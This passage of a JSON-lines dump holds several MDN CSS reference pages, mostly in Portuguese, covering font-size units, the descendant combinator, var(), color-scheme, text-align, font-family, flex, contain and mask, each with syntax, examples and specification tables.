use this formula:\n```\n\nem = desired element pixel value / parent element font-size in pixels\n```\n\n\nFor example, suppose the font-size of the body of the page is set to 16px. If the font-size you want is 12px, then you should specify 0.75em (because 12/16 = 0.75). Similarly, if you want a font size of 10px, then specify 0.625em (10/16 = 0.625); for 22px, specify 1.375em (22/16).\n\nThe em is a very useful unit in CSS, since it automatically adapts its length relative to the font that the reader chooses to use.\n\nOne important fact to keep in mind: em values compound. Take the following HTML and CSS:\n\n\n```css\nhtml {\n  font-size: 62.5%; /\\* font-size 1em = 10px on default browser settings \\*/\n}\nspan {\n  font-size: 1.6em;\n}\n```\n\n\n\n```html\n<div>\n  <span>Outer <span>inner</span> outer</span>\n</div>\n```\n\n\nThe result is:\n\nAssuming that the browser's default `font-size` is 16px, the words \"outer\" would be rendered at 16px, but the word \"inner\" would be rendered at 25.6px. This is because the inner `<span>`'s `font-size` is 1.6em which is relative to its parent's `font-size`, which is in turn relative to its parent's `font-size`. This is often called **compounding**.\n\n### Rems\n\n`rem` values were invented in order to sidestep the compounding problem. `rem` values are relative to the root `html` element, not the parent element. In other words, it lets you specify a font size in a relative fashion without being affected by the size of the parent, thereby eliminating compounding.\n\nThe CSS below is nearly identical to the previous example. The only exception is that the unit has been changed to `rem`.\n\n\n```css\nhtml {\n  font-size: 62.5%; /\\* font-size 1em = 10px on default browser settings \\*/\n}\nspan {\n  font-size: 1.6rem;\n}\n```\n\n\nThen we apply this CSS to the same HTML, which looks like this:\n\n\n```html\n<span>Outer <span>inner</span> outer</span>\n```\n\n\nIn this example, the words \"outer inner outer\" are all displayed at 16px (assuming that the browser's `font-size` has been left at the default value of 16px).\n\nExamples\n--------\n\n### Example 1\n\n\n```css\n/\\* Sets paragraph text to be very large \\*/\np {\n  font-size: xx-large;\n}\n\n/\\* Sets <h1> text to be 2.5 times the size\n of the text around it \\*/\nh1 {\n  font-size: 250%;\n}\n\n/\\* Sets text enclosed within span tag to be 16px \\*/\nspan {\n  font-size: 16px;\n}\n```\n\n### Example 2\n\n#### CSS\n\n\n```css\n.small {\n  font-size: xx-small;\n}\n.larger {\n  font-size: larger;\n}\n.point {\n  font-size: 24pt;\n}\n.percent {\n  font-size: 200%;\n}\n```\n\n\n#### HTML\n\n\n```html\n<h1 class=\"small\">Small H1</h1>\n<h1 class=\"larger\">Larger H1</h1>\n<h1 class=\"point\">24 point H1</h1>\n<h1 class=\"percent\">200% H1</h1>\n```\n\n\n#### Result\n\nNotes\n-----\n\n`em` and `ex` units on the `font-size` property are relative to the parent element's font size (unlike all other properties, where they're relative to the font size on the element). This means `em` units and percentages do the same thing for `font-size`.\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| CSS Fonts Module Level 4 # font-size-prop |\n\n|  |  |\n| --- | --- |\n| Initial value | `medium` |\n| Aplica-se a | all elements and text. It also applies to `::first-letter` and `::first-line`. |\n| Inherited | yes |\n| Percentages | refer to the parent element's font size |\n| Computed value | as specified, but with relative lengths converted into absolute lengths |\n| Animation type | a length |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Descendant combinator - CSS","text":"Descendant combinator\n=====================\n\nO **combinador descendente** - normalmente representado por um caractere de espaço simples (\" \") - combina dois seletores para que os elementos correspondidos pelo segundo seletor sejam selecionados se eles tiverem um elemento ancestral (pai, pai ou mãe, pai ou mãe, etc.) correspondente ao primeiro seletor. Os seletores que utilizam um combinador descendente são chamados de seletores descendentes.\n\n\n```css\n/\\* Listar itens descendentes da lista \"my-things\" \\*/\nul.my-things li {\n  margin: 2em;\n}\n```\n\n\nO combinador descendente é tecnicamente um ou mais caracteres de espaço em branco do CSS - o caractere de espaço e/ou um dos quatro caracteres de controle: retorno de carro (carriage return), Quebra de página ( form feed), nova linha e caracteres de tabulação — entre dois seletores na ausência de outro combinador. Além disso, os caracteres de espaço em branco dos quais o combinador é composto podem conter qualquer número de comentários CSS.\n\nSintaxe\n-------\n```\n\nselector1 selector2 {\n  /*  declarações de propriedade  */\n}\n```\n\nExemplo\n-------\n\n### CSS\n\n\n```css\nli {\n  list-style-type: disc;\n}\n\nli li {\n  list-style-type: circle;\n}\n```\n\n### HTML\n\n\n```html\n<ul>\n  <li>\n    <div>Item 1</div>\n    <ul>\n      <li>Subitem A</li>\n      <li>Subitem B</li>\n    </ul>\n  </li>\n  <li>\n    <div>Item 2</div>\n    <ul>\n      <li>Subitem A</li>\n      <li>Subitem B</li>\n    </ul>\n  </li>\n</ul>\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Selectors Level 4 # descendant-combinators |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Child combinator (en-US)"}
{"title":"var() - CSS","text":"var()\n=====\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since April 2017.\n\n* Learn more\n* See full compatibility\n* Report feedback\nA função CSS **`var()`** pode ser usada para inserir o valor de uma custom property (propriedade personalizada) substituindo qualquer parte do valor de outra propriedade.\n\n\n```css\nvar(--header-color, blue);\n```\n\n\nA função `var()` não pode ser usada em nomes de propriedades, seletores ou qualquer outra coisa além de valores de propriedades. (Isso geralmente produz sintaxe inválida, ou então um valor cujo significado não tem conexão com a variável.)\n\nSintaxe\n-------\n\nO primeiro argumento da função é o nome da propriedade personalizada a ser substituída. O segundo argumento opcional da função serve como valor alternativo. Se a propriedade personalizada referenciada pelo primeiro argumento for inválida, a função usará o segundo valor.\n```\n\n<var()> =   \n  var( <custom-property-name> , <declaration-value>? (en-US) )    \n  \n```\n\n\n**Nota:** A sintaxe do argumento alternativo, assim como as propriedades personalizadas, permite o uso de vírgulas. Por exemplo, `var(--foo, red, blue)` define como argumento alternativo `red, blue`; isto é, qualquer coisa entre a primeira vírgula e o fim da função é considerado como valor do como argumento alternativo.\n\n### Valores\n\n<custom-property-name>\n\nO nome da propriedade personalizada referenciada é representada por um identificador que começa com dois traços. As propriedades personalizadas são exclusivamente para uso por autores e usuários; O CSS nunca lhes dará um significado além do que é apresentado aqui.\n\n<declaration-value>\n\nO valor do argumento alternativo é usado caso a propriedade personalizada seja inválida no contexto utilizado. Este valor pode conter qualquer caractere, exceto alguns caracteres com significado especial como novas linhas, colchetes de fechamento perdidos, ex.`)`, `]`, ou `}`, ponto e vírgula de primeiro nível, ou sinais de exclamação.\n\nExemplos\n--------\n\n\n```css\n:root {\n  --main-bg-color: pink;\n}\n\nbody {\n  background-color: var(--main-bg-color);\n}\n```\n\n\n\n```css\n/\\* Argumento alternativo \\*/\n/\\* No estilo de componente: \\*/\n.component .header {\n  color: var(--header-color, blue);\n}\n\n.component .text {\n  color: var(--text-color, black);\n}\n\n/\\* No estilo de grandes aplicações: \\*/\n.component {\n  --text-color: #080; /\\* header-color não está definido e, desse modo, permanece azul, o valor do argumento alternativo \\*/\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Custom Properties for Cascading Variables Module Level 1 # using-variables |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Utilizando variáveis CSS"}
{"title":"color-scheme - CSS","text":"color-scheme\n============\n\nA Propriedade CSS **`color-scheme`** possibilita que um elemento possa indicar em qual esquema de cores é mais amigável de ser renderizado.\n\nOpções comuns em esquemas de cores de sistemas operacionais são \"claro\" e \"escuro\", ou \"modo diurno\" e \"modo noturno\". Quando um usuário seleciona um desses esquemas de cores, o sistema operacional faz ajustes na interface do usuário. Isso inclui controles de formulários, barra de scroll, e os valores utilizados no sistema de cores do CSS.\n\nSyntax\n------\n\n\n```css\ncolor-scheme: normal;\ncolor-scheme: light;\ncolor-scheme: dark;\ncolor-scheme: light dark;\n\n/\\* Valores globais \\*/\ncolor-scheme: inherit;\ncolor-scheme: initial;\ncolor-scheme: revert;\ncolor-scheme: unset;\n```\n\n\nO valor da propriedade `color-scheme` precisa ser uma das palavras-chaves abaixo.\n\n### Valores\n\n`normal`\n\nIndica que o elemento não possui nenhum esquema de cores, e deve ser renderizado utilizando o esquema de cores padrão do navegador.\n\n`light`\n\nIndica que o elemento pode ser renderizado utilizando o esquema de cores claro do sistema operacional.\n\n`dark`\n\nIndica que o elemento pode ser renderizado utilizando o esquema de cores escuro do sistema operacional.\n\nDefinição formal\n----------------\n\n|  |  |\n| --- | --- |\n| Initial value | `normal` |\n| Aplica-se a | all elements and text |\n| Inherited | yes |\n| Computed value | as specified |\n| Animation type | discrete |\n\nSintaxe formal\n--------------\n```\n\ncolor-scheme =   \n  normal                                       | (en-US)  \n  [ (en-US) light | (en-US) dark | (en-US) <custom-ident> (en-US) ] (en-US)+ (en-US) && (en-US) only? (en-US)    \n  \n```\n\nExemplos\n--------\n\n### Adaptando a esquemas de cores\n\nPara fazer com que toda a página tenha o esquema de cores de preferência do usuário declare `color-scheme` no elemento `:root`.\n\n\n```css\n:root {\n  color-scheme: light dark;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Color Adjustment Module Level 1 # color-scheme-prop |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Aplicando cores em elementos HTML com CSS\n* Outras propriedades de cores relacionadas: `color`, `background-color`, `border-color` (en-US), `outline-color` (en-US), `text-decoration-color` (en-US), `text-emphasis-color` (en-US), `text-shadow`, `caret-color` (en-US), and `column-rule-color` (en-US)\n* `background-image` (en-US)\n* `print-color-adjust` (en-US)"}
{"title":"text-align - CSS","text":"text-align\n==========\n\nSumário\n-------\n\nA propriedade CSS **`text-align`** descreve como conteúdo inline, como texto, é alinhado no elemento pai em bloco. `text-align` não controla o alinhamento de elementos em bloco, apenas o seu conteúdo inline.\n\n|  |  |\n| --- | --- |\n| Initial value | `start`, or a nameless value that acts as `left` if `direction` (en-US) is `ltr`, `right` if `direction` (en-US) is `rtl` if `start` is not supported by the browser. |\n| Aplica-se a | block containers |\n| Inherited | yes |\n| Computed value | as specified, except for the `match-parent` value which is calculated against its parent's `direction` value and results in a computed value of either `left` or `right` |\n| Animation type | discrete |\n\nSintaxe\n-------\n\n\n```css\n/\\* Keyword values \\*/\ntext-align: left;\ntext-align: right;\ntext-align: center;\ntext-align: justify;\ntext-align: justify-all;\ntext-align: start;\ntext-align: end;\ntext-align: match-parent;\n\n/\\* Block alignment values (Non-standard syntax) \\*/\ntext-align: -moz-center;\ntext-align: -webkit-center;\n\n/\\* Global values \\*/\ntext-align: inherit;\ntext-align: initial;\ntext-align: unset;\n```\n\n### Valores\n\n`start` \nExperimental\n\nIgual `left` se a direção é esquerda-para-direita e `right` se a direção é direita-para-esquerda.\n\n`end` \nExperimental\n\nIgual `right` se a direção é esquerda-para-direita e `left` se a direção é direita-para-esquerda.\n\n`left`\n\nO conteúdo é alinhado na borda esquerda do box.\n\n`right`\n\nO conteúdo é alinhado na borda direita do box.\n\n`center`\n\nOs conteúdos inline são centralizados entre a linha da caixa.\n\n`justify`\n\nOs conteúdos inline são justificados. Text should be spaced to line up its left and right edges to the left and right edges of the line box, except for the last line.\n\n`justify-all`\n\nSemelhante a `justify`, porém força a última linha a ser justificada.\n\n`match-parent` \nExperimental\n\nSimilar to `inherit`, but the values `start` and `end` are calculated according the parent's `direction` (en-US) and are replaced by the adequate `left` or `right` value.\n\n### Sintaxe Formal\n```\n\ntext-align =   \n  start         | (en-US)  \n  end           | (en-US)  \n  left          | (en-US)  \n  right         | (en-US)  \n  center        | (en-US)  \n  justify       | (en-US)  \n  match-parent  | (en-US)  \n  justify-all     \n  \n```\n\nExemplos\n--------\n\n### Alinhamento Esquerdo\n\n#### HTML\n\n\n```html\n<p class=\"example\">\n  Integer elementum massa at nulla placerat varius. Suspendisse in libero risus,\n  in interdum massa. Vestibulum ac leo vitae metus faucibus gravida ac in neque.\n  Nullam est eros, suscipit sed dictum quis, accumsan a ligula.\n</p>\n```\n\n\n#### CSS\n\n\n```css\n.example {\n  text-align: left;\n  border: solid;\n}\n```\n\n\n#### Resultado\n\n### Texto centralizado\n\n#### HTML\n\n\n```html\n<p class=\"example\">\n  Integer elementum massa at nulla placerat varius. Suspendisse in libero risus,\n  in interdum massa. Vestibulum ac leo vitae metus faucibus gravida ac in neque.\n  Nullam est eros, suscipit sed dictum quis, accumsan a ligula.\n</p>\n```\n\n\n#### CSS\n\n\n```css\n.example {\n  text-align: center;\n  border: solid;\n}\n```\n\n\n#### Resultado\n\n### Justificado\n\n#### HTML\n\n\n```html\n<p class=\"example\">\n  Integer elementum massa at nulla placerat varius. Suspendisse in libero risus,\n  in interdum massa. Vestibulum ac leo vitae metus faucibus gravida ac in neque.\n  Nullam est eros, suscipit sed dictum quis, accumsan a ligula.\n</p>\n```\n\n\n#### CSS\n\n\n```css\n.example {\n  text-align: justify;\n  border: solid;\n}\n```\n\n\n#### Resultado\n\n### Notas\n\nO modo compátivel-padrão de centralizar um bloco em si sem centralizar seu conteúdo inline é setando a `margin` left e right para `auto`, e.g.:\n\n\n```css\n.something {\n  margin: auto;\n}\n```\n\n\n\n```css\n.something {\n  margin: 0 auto;\n}\n```\n\n\n\n```css\n.something {\n  margin-left: auto;\n  margin-right: auto;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Logical Properties and Values Level 1 # text-align |\n| CSS Text Module Level 3 # text-align-property |\n\nBrowser compatibilidade\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `margin:auto`, `margin-left:auto` (en-US), `vertical-align`"}
{"title":"font-family - CSS","text":"font-family\n===========\n\nResumo\n------\n\nA propriedade `font-family do` CSS permite que se faça uma lista de prioridades de familias de fontes e/ou nomes genéricos de famílias a serem especificados para um elemento selecionado. Ao contrário da maioria das demais propriedades CSS, os valores são separados por vírgula para indicar quais são as alternativas. O Browser irá utilizar a primeira fonte da lista que for encontrada no computador, ou poderá fazer o dowload utilizando a informação contida na regra `@font-face`.\n\nProgramadores WEB devem sempre adicionar pelo menos uma família genérica para a lista de `font-family`, já que não há garantia que aquela fonte específica está instalada no computador, ou possa ser baixada pela regra `@font-face`. A família genérica permite o browser selecionar uma fonte aceita pelo computador, quando necessário.\n\nÉ também conveniente usar de antemão a propriedade `font` (en-US) para definir a `font-size` e outras propriedades relacionadas a fonte todas de uma só vez.\n\n**Nota:** A propriedade `font-family` especifica a lista de fontes, da prioridade mais alta para a mais baixa.```\n A seleção de fontes não para simplesmente na primeira fonte nomeada na lista que está no sistema do usuário. Em vez disso, a seleção de fontes é feita um caractere de cada vez, para que, se uma fonte disponível não tiver um glifo que possa exibir um caracter necessário, as fontes disponíveis mais tarde sejam tentadas. No entanto, isso não funciona no Internet Explorer 6 ou anterior.\n\n\nQuando uma fonte está disponível apenas em alguns estilos, variantes ou tamanhos, essas propriedades também podem influenciar qual família de fontes é escolhida.\n\n\n|  |  |\n| --- | --- |\n| Initial value | depends on user agent |\n| Aplica-se a | all elements and text. It also applies to `::first-letter` and `::first-line`. |\n| Inherited | yes |\n| Computed value | as specified |\n| Animation type | discrete |\n\nSyntax\n------\n```\n\nFormal syntax: \n```\nfont-family =   \n  [ (en-US) <family-name> | (en-US) <generic-family> ] (en-US)# (en-US)    \n  \n<family-name> =   \n  <string> (en-US)         | (en-US)  \n  <custom-ident> (en-US)+ (en-US)    \n  \n<generic-family> =   \n  generic( <custom-ident> (en-US)+ (en-US) )  | (en-US)  \n  <string> (en-US)                    | (en-US)  \n  <custom-ident> (en-US)+ (en-US)               \n  \n```\n\n\n```\n```\n\nfont-family: Gill Sans Extrabold, sans-serif\nfont-family: \"Goudy Bookletter 1911\", sans-serif\n\nfont-family: sans-serif\nfont-family: serif\nfont-family: fantasy\nfont-family: cursive\nfont-family: monospace\n\nfont-family: inherit\n```\n\n### Valores\n\n|  |  |\n| --- | --- |\n| `<family-name>` | \n O nome de uma fonte. Por exemplo, \"Times\" e \"Helvetica\" são font\n families. Nomes de fonte-família contém espaços em branco para serem\n citados..\n  |\n| `<generic-name>` | \n Generic font families are a fallback mechanism, a means of preserving\n some of the style sheet author's intent in case when none of the\n specified fonts are available. Generic family names are keywords and\n must not be quoted. A generic font family should be the a last\n alternative in the list of font family names.\n\n\n`serif`\n\n Glyphs have finishing strokes, flared or tapering ends, or have\n actual serifed endings.E.g. Palatino, \"Palatino Linotype\",\n Palladio, \"URW Palladio\", serif\n\n`sans-serif`\n\n Glyphs have stroke endings that are plain.E.g. 'Trebuchet MS',\n 'Liberation Sans', 'Nimbus Sans L', sans-serif\n\n`monospace`\n\n All glyphs have the same fixed width.E.g. \"DejaVu Sans Mono\",\n Menlo, Consolas, \"Liberation Mono\", Monaco, \"Lucida Console\",\n monospace\n\n`cursive`\n\n Glyphs in cursive fonts generally have either joining strokes or\n other cursive characteristics beyond those of italic typefaces. The\n glyphs are partially or completely connected, and the result looks\n more like handwritten pen or brush writing than printed letterwork.\n\n`fantasy`\n\n Fantasy fonts are primarily decorative fonts that contain playful\n representations of characters.\n\n |\n\n### Valid family names\n\nFont family names must either be given quoted as strings, or unquoted as a sequence of one or more identifiers. This means that punctuation characters and digits at the start of each token must be escaped in unquoted font family names.\n\nFor example, the following declarations are valid:\n```\n\nfont-family: Gill Sans Extrabold, sans-serif;\nfont-family: \"Goudy Bookletter 1911\", sans-serif;\n```\n\n\nThe following declarations are **invalid**:\n```\n\nfont-family: Goudy Bookletter 1911, sans-serif;\nfont-family: Red/Black, sans-serif;\nfont-family: \"Lucida\" Grande, sans-serif;\nfont-family: Ahem!, sans-serif;\nfont-family: test@foo, sans-serif;\nfont-family: #POUND, sans-serif;\nfont-family: Hawaii 5-0, sans-serif;\n```\n\nExamples\n--------\n\n### Example 1\n\n\n```css\nbody {\n  font-family: \"Gill Sans Extrabold\", Helvetica, sans-serif;\n}\n\n.receipt {\n  font-family: Courier, \"Lucida Console\", monospace;\n}\n```\n\n### Example 2\n\n\n```css\n.exampleserif {\n  font-family: Times, \"Times New Roman\", Georgia, serif;\n}\n\n.examplesansserif {\n  font-family: Verdana, Arial, Helvetica, sans-serif;\n}\n\n.examplemonospace {\n  font-family: \"Lucida Console\", Courier, monospace;\n}\n\n.examplecursive {\n  font-family: cursive;\n}\n\n.examplefantasy {\n  font-family: fantasy;\n}\n```\n\n\n\n```html\n<div class=\"exampleserif\">This is an example of a serif font.</div>\n\n<div class=\"examplesansserif\">This is an example of a sans-serif font.</div>\n\n<div class=\"examplemonospace\">This is an example of a monospace font.</div>\n\n<div class=\"examplecursive\">This is an example of a cursive font.</div>\n\n<div class=\"examplefantasy\">This is an example of a fantasy font.</div>\n```\n\n\n#### Live Sample\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| CSS Fonts Module Level 4 # generic-font-families |\n| CSS Fonts Module Level 4 # font-family-prop |\n\nBrowser compatibility\n---------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"flex - CSS","text":"flex\n====\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since September 2020.\n\n* Learn more\n* See full compatibility\n* Report feedback\nA propriedade flex do CSS, define como um ítem será posicionado para no espaço disponível dentro de seu container.\n\nExperimente\n-----------\n\nPropriedades\n------------\n\nEsta propriedade é uma abreviação das seguintes propriedades CSS:\n\n* `flex-grow` (en-US)\n* `flex-shrink` (en-US)\n* `flex-basis` (en-US)\n```\n\n<div class=\"flex-container\">\n  <div class=\"item auto\">auto</div>\n  <div class=\"item auto\">auto</div>\n  <div class=\"item auto\">auto</div>\n</div>\n\n<div class=\"flex-container\">\n  <div class=\"item auto\">auto</div>\n  <div class=\"item initial\">initial</div>\n  <div class=\"item initial\">initial</div>\n</div>\n\n<div class=\"flex-container\">\n  <div class=\"item auto\">auto</div>\n  <div class=\"item auto\">auto</div>\n  <div class=\"item none\">none</div>\n</div>\n\n<div class=\"flex-container\">\n  <div class=\"item initial\">initial</div>\n  <div class=\"item none\">none</div>\n  <div class=\"item none\">none</div>\n</div>\n\n<div class=\"flex-container\">\n  <div class=\"item four\">4</div>\n  <div class=\"item two\">2</div>\n  <div class=\"item one\">1</div>\n</div>\n```\n\n\n```\n\\* {\n  box-sizing: border-box;\n}\n\n.flex-container {\n  background-color: #f4f7f8;\n  resize: horizontal;\n  overflow: hidden;\n  display: flex;\n  margin: 1em;\n}\n\n.item {\n  margin: 1em;\n  padding: 0.5em;\n  width: 110px;\n  min-width: 0;\n  background-color: #1b5385;\n  color: white;\n  font-family: monospace;\n  font-size: 13px;\n}\n\n.initial {\n  flex: initial;\n}\n\n.auto {\n  flex: auto;\n}\n\n.none {\n  flex: none;\n}\n\n.four {\n  flex: 4;\n}\n\n.two {\n  flex: 2;\n}\n\n.one {\n  flex: 1;\n}\n```\n\n\nBy default flex items don't shrink below their minimum content size. To change this, set the item's `min-width` (en-US) or `min-height`.\n\nSintaxe\n-------\n\n\n```css\n/\\* Propriedades principais \\*/\nflex: auto;\nflex: initial;\nflex: none;\n\n/\\* Valor único, sem unidade: flex-grow \\*/\nflex: 2;\n\n/\\* Valor único, unidade width/height: flex-basis \\*/\nflex: 10em;\nflex: 30%;\nflex: min-content;\n\n/\\* Dois valores: flex-grow | flex-basis \\*/\nflex: 1 30px;\n\n/\\* Dois valores: flex-grow | flex-shrink \\*/\nflex: 2 2;\n\n/\\* Três valores: flex-grow | flex-shrink | flex-basis \\*/\nflex: 2 2 10%;\n\n/\\* Valores globais \\*/\nflex: inherit;\nflex: initial;\nflex: unset;\n```\n\n\nThe `flex` property may be specified using one, two, or three values.\n\n* **One-value syntax**: the value must be one of:\n    + a `<number>`: In this case it is interpreted as `flex: <number> 1 0`; the `<flex-shrink>` value is assumed to be 1 and the `<flex-basis>` value is assumed to be `0`.\n    + one of the keywords: `none`, `auto`, or `initial`.\n* **Two-value syntax**: the first value must be a `<number>` and it is interpreted as `<flex-grow>`. The second value must be one of:\n    + a `<number>`: then it is interpreted as `<flex-shrink>`.\n    + a valid value for `width`: then it is interpreted as `<flex-basis>`.\n* **Three-value syntax:** the values must be in the following order:\n    1. a `<number>` for `<flex-grow>`.\n    2. a `<number>` for `<flex-shrink>`.\n    3. a valid value for `width` for `<flex-basis>`.\n### Values\n\n`initial`\n\nThe item is sized according to its `width` and `height` properties. It shrinks to its minimum size to fit the container, but does not grow to absorb any extra free space in the flex container. This is equivalent to setting \"`flex: 0 1 auto`\".\n\n`auto`\n\nThe item is sized according to its `width` and `height` properties, but grows to absorb any extra free space in the flex container, and shrinks to its minimum size to fit the container. This is equivalent to setting \"`flex: 1 1 auto`\".\n\n`none`\n\nThe item is sized according to its `width` and `height` properties. It is fully inflexible: it neither shrinks nor grows in relation to the flex container. This is equivalent to setting \"`flex: 0 0 auto`\".\n\n`<'flex-grow'>`\n\nDefines the `flex-grow` (en-US) of the flex item. Negative values are considered invalid. Defaults to `1` when omitted.\n\n`<'flex-shrink'>`\n\nDefines the `flex-shrink` (en-US) of the flex item. Negative values are considered invalid. Defaults to `1` when omitted.\n\n`<'flex-basis'>`\n\nDefines the `flex-basis` (en-US) of the flex item. A preferred size of `0` must have a unit to avoid being interpreted as a flexibility. Defaults to `0` when omitted.\n\n### Formal syntax\n```\n\nflex =   \n  none                                                | (en-US)  \n  [ (en-US) <'flex-grow'> <'flex-shrink'>? (en-US) || (en-US) <'flex-basis'> ] (en-US)    \n  \n```\n\nExample\n-------\n\n\n```css\n#flex-container {\n  display: flex;\n  flex-direction: row;\n}\n\n#flex-container > .flex-item {\n  flex: auto;\n}\n\n#flex-container > .raw-item {\n  width: 5rem;\n}\n```\n\n\n\n```html\n<div id=\"flex-container\">\n  <div class=\"flex-item\" id=\"flex\">Flex box (click to toggle raw box)</div>\n  <div class=\"raw-item\" id=\"raw\">Raw box</div>\n</div>\n```\n\n\n```\nvar flex = document.getElementById(\"flex\");\nvar raw = document.getElementById(\"raw\");\nflex.addEventListener(\"click\", function () {\n  raw.style.display = raw.style.display == \"none\" ? \"block\" : \"none\";\n});\n```\n\n\n```\n#flex-container {\n  width: 100%;\n  font-family: Consolas, Arial, sans-serif;\n}\n\n#flex-container > div {\n  border: 1px solid #f00;\n  padding: 1rem;\n}\n\n#flex-container > .raw-item {\n  border: 1px solid #000;\n}\n```\n\n### Result\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| CSS Flexible Box Layout Module Level 1 # flex-property |\n\n|  |  |\n| --- | --- |\n| Initial value | as each of the properties of the shorthand:* `flex-grow` (en-US): `0`\n* `flex-shrink` (en-US): `1`\n* `flex-basis` (en-US): `auto`\n |\n| Aplica-se a | flex items, including in-flow pseudo-elements |\n| Inherited | não |\n| Computed value | as each of the properties of the shorthand:* `flex-grow` (en-US): as specified\n* `flex-shrink` (en-US): as specified\n* `flex-basis` (en-US): as specified, but with relative lengths converted into absolute lengths\n |\n| Animation type | as each of the properties of the shorthand:* `flex-grow` (en-US): a number\n* `flex-shrink` (en-US): a number\n* `flex-basis` (en-US): a length, percentage or calc();\n |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* CSS Flexbox Guide: *Basic Concepts of Flexbox*\n* CSS Flexbox Guide: *Controlling Ratios of flex items along the main axis (en-US)*"}
{"title":"contain - CSS","text":"contain\n=======\n\nBaseline 2023\n-------------\n\nNewly availableSince February 2023, this feature works across the latest devices and browser versions. This feature might not work in older devices or browsers.\n\n* Learn more\n* See full compatibility\n* Report feedback\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA propriedade **`contain`** permite que um autor indique que elemento e seus conteúdos são, na medida do possível, *independente* do resto da árvore do documento. Isso permite que o navegador recalcule o layout, estilo, pintura, tamanho ou alguma combinação deles para uma área limitada do DOM e não da página inteira.\n\n\n```css\n/\\* Sem contenção de layout. \\*/\ncontain: none;\n\n/\\* Ativa a contenção para layout, estilo, pintura, e tamanho. \\*/\ncontain: strict;\n\n/\\* Ativa a contenção para layout, estilo, e pintura. \\*/\ncontain: content;\n\n/\\* Ativa a contenção para um elemento. \\*/\ncontain: size;\n\n/\\* Ativa a contenção de layout para um elemento. \\*/\ncontain: layout;\n\n/\\* Ativa a contenção de estilo para um elemento. \\*/\ncontain: style;\n\n/\\* Ativa a contenção de pintura para um elemento. \\*/\ncontain: paint;\n```\n\n\nEsta propriedade é útil em páginas que contêm um monte de widgets que são todos independentes, uma vez que pode ser usado para impedir que as regras CSS de um widget mude outras coisas na página.\n\n|  |  |\n| --- | --- |\n| Initial value | `none` |\n| Aplica-se a | all elements |\n| Inherited | não |\n| Computed value | as specified |\n| Animation type | Not animatable |\n\nSintaxe\n-------\n\n### Valores\n\n`none`\n\nIndica que o elemento processa como normal, sem contenção aplicada.\n\nstrict\n\nIndica que todas as regras de contenção são aplicadas ao elemento. Isso equivale a`contain: size layout style paint`.\n\ncontent\n\nIndica que todas as regras de contenção, exceto *size* são aplicadas ao elemento. Isso equivale a `contain: layout style paint`.\n\nsize\n\nIndica que o elemento pode ser dimensionado sem a necessidade de examinar seus dependentes para alterações de tamanho.\n\nlayout\n\nIndica que nada fora do elemento pode afetar seu layout interno e vice-versa.\n\nstyle\n\nIndica que, para propriedades que podem ter efeitos em mais do que apenas um elemento e seus descendentes, esses efeitos não escape o elemento que contém.\n\npaint\n\nIndica que os descendentes do elemento não são exibidos fora de seus limites. Se um elemento estiver fora da tela ou de outra forma não visível, seus descendentes também são garantidos para não ser visível.\n\n### Sintaxe Formal\n```\n\ncontain =   \n  none                                  | (en-US)  \n  strict                                | (en-US)  \n  content                               | (en-US)  \n  [ (en-US) size || (en-US) layout || (en-US) style || (en-US) paint ] (en-US)    \n  \n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Containment Module Level 2 # contain-property |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"mask - CSS","text":"mask\n====\n\nResumo\n------\n\nA propriedade máscara no CSS permite aos usuários alterarem a visibilidade de um item parcialmente ou totalmente escondendo o item. Isso é obtido por qualquer mascaramento ou cortes na imagem em pontos específicos.\n\n|  |  |\n| --- | --- |\n| Initial value | as each of the properties of the shorthand:* `mask-image` (en-US): `none`\n* `mask-mode` (en-US): `match-source`\n* `mask-repeat` (en-US): `repeat`\n* `mask-position` (en-US): `center`\n* `mask-clip` (en-US): `border-box`\n* `mask-origin` (en-US): `border-box`\n* `mask-size` (en-US): `auto`\n* `mask-composite` (en-US): `add`\n |\n| Aplica-se a | all elements; In SVG, it applies to container elements excluding the `defs` element and all graphics elements |\n| Inherited | não |\n| Percentages | as each of the properties of the shorthand:* `mask-position` (en-US): refer to size of mask painting area minus size of mask layer image (see the text for `background-position` (en-US))\n |\n| Computed value | as each of the properties of the shorthand:* `mask-image` (en-US): as specified, but with `url` (en-US) values made absolute\n* `mask-mode` (en-US): as specified\n* `mask-repeat` (en-US): Consists of two keywords, one per dimension\n* `mask-position` (en-US): Consists of two keywords representing the origin and two offsets from that origin, each given as an absolute length (if given a <length>), otherwise as a percentage.\n* `mask-clip` (en-US): as specified\n* `mask-origin` (en-US): as specified\n* `mask-size` (en-US): as specified, but with relative lengths converted into absolute lengths\n* `mask-composite` (en-US): as specified\n |\n| Animation type | as each of the properties of the shorthand:* `mask-image` (en-US): discrete\n* `mask-mode` (en-US): 